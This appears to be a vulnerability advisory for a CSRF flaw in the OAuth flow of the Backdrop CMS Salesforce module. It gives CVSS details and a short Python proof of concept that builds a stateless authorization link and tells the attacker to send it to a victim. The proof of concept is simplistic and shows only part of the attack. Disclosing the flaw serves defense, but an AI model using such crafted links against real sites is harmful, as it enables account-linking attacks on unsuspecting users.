The Salesforce module before 1.x-1.0.1 for Backdrop CMS does not properly use a random state parameter to protect the authorization flow against CSRF attacks.
CVSS Details
CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L
Configurations (Affected Products)
No configuration data available.
Backdrop CMS Salesforce Module < 1.x-1.0.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Attacker's configuration
victim_base_url = "https://target-backdrop-site.com"
client_id = "CONSUMER_KEY_FROM_SALESFORCE"
redirect_uri = f"{victim_base_url}/salesforce/callback"
# The vulnerability lies in the lack of state validation.
# An attacker can craft a URL without a valid state or a predictable one.
malicious_auth_url = (
"https://login.salesforce.com/services/oauth2/authorize"
f"?response_type=code&client_id={client_id}"
f"&redirect_uri={redirect_uri}"
# Missing or weak state parameter allows CSRF
)
print(f"[+] Send this link to the victim: {malicious_auth_url}")
print("[+] If victim clicks and authorizes, the account is linked due to missing state check.")